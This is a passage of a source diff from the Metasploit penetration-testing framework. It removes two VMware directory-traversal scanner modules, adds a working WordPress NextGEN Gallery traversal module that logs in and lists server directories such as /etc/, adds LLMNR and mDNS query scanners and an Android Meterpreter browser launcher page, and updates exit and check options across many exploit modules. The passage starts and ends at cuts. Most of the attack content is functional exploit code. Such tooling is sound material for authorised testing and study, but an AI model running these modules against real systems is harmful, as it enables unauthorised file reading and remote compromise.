80/8222 and 443/8333 SSL. If you want to download the entire VM, check out
|
|
||||||
the gueststealer tool.',
|
|
||||||
'Author' => 'CG' ,
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2009-0015.html' ],
|
|
||||||
[ 'OSVDB', '59440' ],
|
|
||||||
[ 'BID', '36842' ],
|
|
||||||
[ 'CVE', '2009-3733' ],
|
|
||||||
[ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ]
|
|
||||||
]
|
|
||||||
)
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::RPORT(8222),
|
|
||||||
OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']),
|
|
||||||
OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']),
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def run_host(target_host)
|
|
||||||
|
|
||||||
begin
|
|
||||||
file = datastore['FILE']
|
|
||||||
trav = datastore['TRAV']
|
|
||||||
res = send_request_raw({
|
|
||||||
'uri' => trav+file,
|
|
||||||
'version' => '1.1',
|
|
||||||
'method' => 'GET'
|
|
||||||
}, 25)
|
|
||||||
|
|
||||||
if res.nil?
|
|
||||||
print_error("Connection timed out")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
if res.code == 200
|
|
||||||
#print_status("Output Of Requested File:\n#{res.body}")
|
|
||||||
print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
|
|
||||||
report_vuln(
|
|
||||||
{
|
|
||||||
:host => target_host,
|
|
||||||
:port => rport,
|
|
||||||
:proto => 'tcp',
|
|
||||||
:name => self.name,
|
|
||||||
:info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}",
|
|
||||||
:refs => self.references,
|
|
||||||
:exploited_at => Time.now.utc
|
|
||||||
}
|
|
||||||
)
|
|
||||||
else
|
|
||||||
vprint_status("Received #{res.code} for #{trav}#{file}")
|
|
||||||
end
|
|
||||||
|
|
||||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
|
||||||
print_error(e.message)
|
|
||||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,75 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
include Msf::Auxiliary::Report
|
|
||||||
include Msf::Auxiliary::Scanner
|
|
||||||
include Msf::Module::Deprecated
|
|
||||||
|
|
||||||
deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_update_manager_traversal')
|
|
||||||
|
|
||||||
def initialize(info={})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => "VMWare Update Manager 4 Directory Traversal",
|
|
||||||
'Description' => %q{
|
|
||||||
This modules exploits a directory traversal vulnerability in VMWare Update Manager
|
|
||||||
on port 9084. Versions affected by this vulnerability: vCenter Update Manager
|
|
||||||
4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' =>
|
|
||||||
[
|
|
||||||
'Alexey Sintsov', #Initial discovery, poc
|
|
||||||
'sinn3r' #Metasploit
|
|
||||||
],
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
['CVE', '2011-4404'],
|
|
||||||
['EDB', '18138'],
|
|
||||||
['URL', 'http://www.vmware.com/security/advisories/VMSA-2011-0014.html'],
|
|
||||||
['URL', 'http://dsecrg.com/pages/vul/show.php?id=342']
|
|
||||||
],
|
|
||||||
'DisclosureDate' => "Nov 21 2011"))
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::RPORT(9084),
|
|
||||||
OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']),
|
|
||||||
OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini'])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def run_host(ip)
|
|
||||||
fname = File.basename(datastore['FILE'])
|
|
||||||
traversal = ".\\..\\..\\..\\..\\..\\..\\..\\"
|
|
||||||
uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE']
|
|
||||||
|
|
||||||
print_status("#{rhost}:#{rport} - Requesting: #{uri}")
|
|
||||||
|
|
||||||
res = send_request_raw({
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => uri
|
|
||||||
}, 25)
|
|
||||||
|
|
||||||
# If there's no response, don't bother
|
|
||||||
if res.nil? or res.body.empty?
|
|
||||||
print_error("No content retrieved from: #{ip}")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
if res.code == 404
|
|
||||||
print_error("#{rhost}:#{rport} - File not found")
|
|
||||||
return
|
|
||||||
else
|
|
||||||
print_good("File retrieved from: #{ip}")
|
|
||||||
p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname)
|
|
||||||
print_status("File stored in: #{p}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -0,0 +1,152 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'json'
|
||||||
|
require 'nokogiri'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'WordPress NextGEN Gallery Directory Read Vulnerability',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an authenticated directory traversal vulnerability
|
||||||
|
in WordPress Plugin "NextGEN Gallery" version 2.1.7, allowing
|
||||||
|
to read arbitrary directories with the web server privileges.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['WPVDB', '8165'],
|
||||||
|
['URL', 'http://permalink.gmane.org/gmane.comp.security.oss.general/17650']
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Sathish Kumar', # Vulnerability Discovery
|
||||||
|
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('WP_USER', [true, 'A valid username', nil]),
|
||||||
|
OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]),
|
||||||
|
OptString.new('DIRPATH', [true, 'The path to the directory to read', '/etc/']),
|
||||||
|
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def user
|
||||||
|
datastore['WP_USER']
|
||||||
|
end
|
||||||
|
|
||||||
|
def password
|
||||||
|
datastore['WP_PASS']
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
check_plugin_version_from_readme('nextgen-gallery', '2.1.9')
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_nonce(cookie)
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
|
||||||
|
'method' => 'GET',
|
||||||
|
'vars_get' => {
|
||||||
|
'page' => 'ngg_addgallery'
|
||||||
|
},
|
||||||
|
'cookie' => cookie
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.redirect? && res.redirection
|
||||||
|
location = res.redirection
|
||||||
|
print_status("#{peer} - Following redirect to #{location}")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => location,
|
||||||
|
'method' => 'GET',
|
||||||
|
'cookie' => cookie
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
res.body.scan(/var browse_params = {"nextgen_upload_image_sec":"(.+)"};/).flatten.first
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_paths(res)
|
||||||
|
begin
|
||||||
|
j = JSON.parse(res.body)
|
||||||
|
rescue JSON::ParserError => e
|
||||||
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||||
|
return []
|
||||||
|
end
|
||||||
|
|
||||||
|
html = j['html']
|
||||||
|
noko = Nokogiri::HTML(html)
|
||||||
|
links = noko.search('a')
|
||||||
|
links.collect { |e| normalize_uri("#{datastore['DIRPATH']}/#{e.text}") }
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
vprint_status("#{peer} - Trying to login as: #{user}")
|
||||||
|
cookie = wordpress_login(user, password)
|
||||||
|
if cookie.nil?
|
||||||
|
print_error("#{peer} - Unable to login as: #{user}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Trying to get nonce...")
|
||||||
|
nonce = get_nonce(cookie)
|
||||||
|
if nonce.nil?
|
||||||
|
print_error("#{peer} - Can not get nonce after login")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
vprint_status("#{peer} - Got nonce: #{nonce}")
|
||||||
|
|
||||||
|
traversal = "../" * datastore['DEPTH']
|
||||||
|
filename = datastore['DIRPATH']
|
||||||
|
filename = filename[1, filename.length] if filename =~ /^\//
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path),
|
||||||
|
'headers' => {
|
||||||
|
'Referer' => "http://#{rhost}/wordpress/wp-admin/admin.php?page=ngg_addgallery",
|
||||||
|
'X-Requested-With' => 'XMLHttpRequest'
|
||||||
|
},
|
||||||
|
'vars_get' => {
|
||||||
|
'photocrati_ajax' => '1'
|
||||||
|
},
|
||||||
|
'vars_post' => {
|
||||||
|
'nextgen_upload_image_sec' => "#{nonce}",
|
||||||
|
'action' => 'browse_folder',
|
||||||
|
'dir' => "#{traversal}#{filename}"
|
||||||
|
},
|
||||||
|
'cookie' => cookie
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 200
|
||||||
|
|
||||||
|
paths = parse_paths(res)
|
||||||
|
vprint_line(paths * "\n")
|
||||||
|
|
||||||
|
fname = datastore['DIRPATH']
|
||||||
|
path = store_loot(
|
||||||
|
'nextgen.traversal',
|
||||||
|
'text/plain',
|
||||||
|
ip,
|
||||||
|
paths * "\n",
|
||||||
|
fname
|
||||||
|
)
|
||||||
|
|
||||||
|
print_good("#{peer} - File saved in: #{path}")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Nothing was downloaded. You can try to change the DIRPATH.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,51 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::UDPScanner
|
||||||
|
include Msf::Auxiliary::LLMNR
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'LLMNR Query',
|
||||||
|
'Description' => %q(
|
||||||
|
This module sends LLMNR queries, which are really just normal UDP DNS
|
||||||
|
queries done (usually) over multicast on a different port, 5355.
|
||||||
|
Targets other than the default RHOSTS' 224.0.0.252 should not respond
|
||||||
|
but may anyway.
|
||||||
|
),
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Jon Hart <jon_hart[at]rapid7.com>'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def scanner_prescan(batch)
|
||||||
|
print_status("Sending LLMNR #{query_type_name}/#{query_class_name} queries for #{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)")
|
||||||
|
@results = {}
|
||||||
|
end
|
||||||
|
|
||||||
|
def scanner_postscan(_batch)
|
||||||
|
found = {}
|
||||||
|
@results.each_pair do |peer, resps|
|
||||||
|
resps.each do |resp|
|
||||||
|
found[peer] ||= {}
|
||||||
|
next if found[peer][resp]
|
||||||
|
response_info = describe_response(resp)
|
||||||
|
print_good("#{peer} responded with #{response_info}")
|
||||||
|
report_service(host: peer, port: rport, proto: "udp", name: "llmnr", info: response_info)
|
||||||
|
found[peer][resp] = true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,50 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::UDPScanner
|
||||||
|
include Msf::Auxiliary::MDNS
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'mDNS Query',
|
||||||
|
'Description' => %q(
|
||||||
|
This module sends mDNS queries, which are really just normal UDP DNS
|
||||||
|
queries done (usually) over multicast on a different port, 5353.
|
||||||
|
),
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Jon Hart <jon_hart[at]rapid7.com>'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def scanner_prescan(batch)
|
||||||
|
print_status("Sending mDNS #{query_type_name} #{query_class_name} queries for " \
|
||||||
|
"#{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)")
|
||||||
|
@results = {}
|
||||||
|
end
|
||||||
|
|
||||||
|
def scanner_postscan(_batch)
|
||||||
|
found = {}
|
||||||
|
@results.each_pair do |peer, resps|
|
||||||
|
resps.each do |resp|
|
||||||
|
found[peer] ||= {}
|
||||||
|
next if found[peer][resp]
|
||||||
|
response_info = describe_response(resp)
|
||||||
|
print_good("#{peer} responded with #{response_info}")
|
||||||
|
report_service(host: peer, port: rport, proto: "udp", name: "mdns", info: response_info)
|
||||||
|
found[peer][resp] = true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,53 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Android Meterpreter Browsable Launcher",
|
||||||
|
'Description' => %q{
|
||||||
|
This module allows you to open an android meterpreter via a browser. An Android
|
||||||
|
meterpreter must be installed as an application beforehand on the target device
|
||||||
|
in order to use this.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'sinn3r' ],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://developer.android.com/reference/android/content/Intent.html#CATEGORY_BROWSABLE' ]
|
||||||
|
]
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
exploit
|
||||||
|
end
|
||||||
|
|
||||||
|
def html
|
||||||
|
%Q|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
location.href = "intent://my_host#Intent;scheme=metasploit;action=android.intent.action.VIEW;end";
|
||||||
|
</script>
|
||||||
|
<noscript>
|
||||||
|
<meta http-equiv="refresh" content="1; url=intent://my_host#Intent;scheme=metasploit;action=android.intent.action.VIEW;end">
|
||||||
|
</noscript>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
print_status("Sending HTML...")
|
||||||
|
send_response(cli, html)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'none'
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'unix',
|
'Platform' => 'unix',
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
|
|
|
@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => ['php'],
|
'Platform' => ['php'],
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
|
|
|
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
{
|
{
|
||||||
'WfsDelay' => 300, #5 minutes
|
'WfsDelay' => 300, #5 minutes
|
||||||
'DisablePayloadHandler' => 'false',
|
'DisablePayloadHandler' => 'false',
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => ['php'],
|
'Platform' => ['php'],
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
|
|
|
@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'none'
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'none'
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'unix',
|
'Platform' => 'unix',
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
|
|
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => ['linux'],
|
'Platform' => ['linux'],
|
||||||
'Arch' => ARCH_X86,
|
'Arch' => ARCH_X86,
|
||||||
|
|
|
@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => ['php'],
|
'Platform' => ['php'],
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'php',
|
'Platform' => 'php',
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
|
|
|
@ -35,7 +35,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Platform' => %w{ win linux unix },
|
'Platform' => %w{ win linux unix },
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}],
|
['Windows',
|
||||||
|
{
|
||||||
|
'Arch' => [ ARCH_X86_64, ARCH_X86 ],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
|
||||||
|
}
|
||||||
|
],
|
||||||
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
||||||
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
|
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
|
||||||
],
|
],
|
||||||
|
|
|
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'php',
|
'Platform' => 'php',
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'php',
|
'Platform' => 'php',
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => %w{ linux php },
|
'Platform' => %w{ linux php },
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
|
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'php',
|
'Platform' => 'php',
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => ['php'],
|
'Platform' => ['php'],
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
'Platform' => ['php'],
|
'Platform' => ['php'],
|
||||||
|
|
|
@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => %w{ java linux win },
|
'Platform' => %w{ java linux win },
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
|
|
@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => %w{ linux unix },
|
'Platform' => %w{ linux unix },
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
|
|
|
@ -62,7 +62,7 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
(ver?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
(ver?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
def ver?
|
def ver?
|
||||||
|
|
|
@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
def check
|
def check
|
||||||
if ver_lt(osx_ver, "10.10")
|
if ver_lt(osx_ver, "10.10")
|
||||||
Exploit::CheckCode::Vulnerable
|
Exploit::CheckCode::Appears
|
||||||
else
|
else
|
||||||
Exploit::CheckCode::Safe
|
Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
|
@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
def check
|
def check
|
||||||
if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
|
if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
|
||||||
Exploit::CheckCode::Vulnerable
|
Exploit::CheckCode::Appears
|
||||||
else
|
else
|
||||||
Exploit::CheckCode::Safe
|
Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
|
@ -60,7 +60,7 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
(ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
(ver? && admin?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
|
@ -53,7 +53,7 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
def check
|
def check
|
||||||
if ver? && admin?
|
if ver? && admin?
|
||||||
vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
|
vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
|
||||||
return Exploit::CheckCode::Vulnerable
|
return Exploit::CheckCode::Appears
|
||||||
else
|
else
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'unix',
|
'Platform' => 'unix',
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
|
|
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => ['php'],
|
'Platform' => ['php'],
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
|
|
|
@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
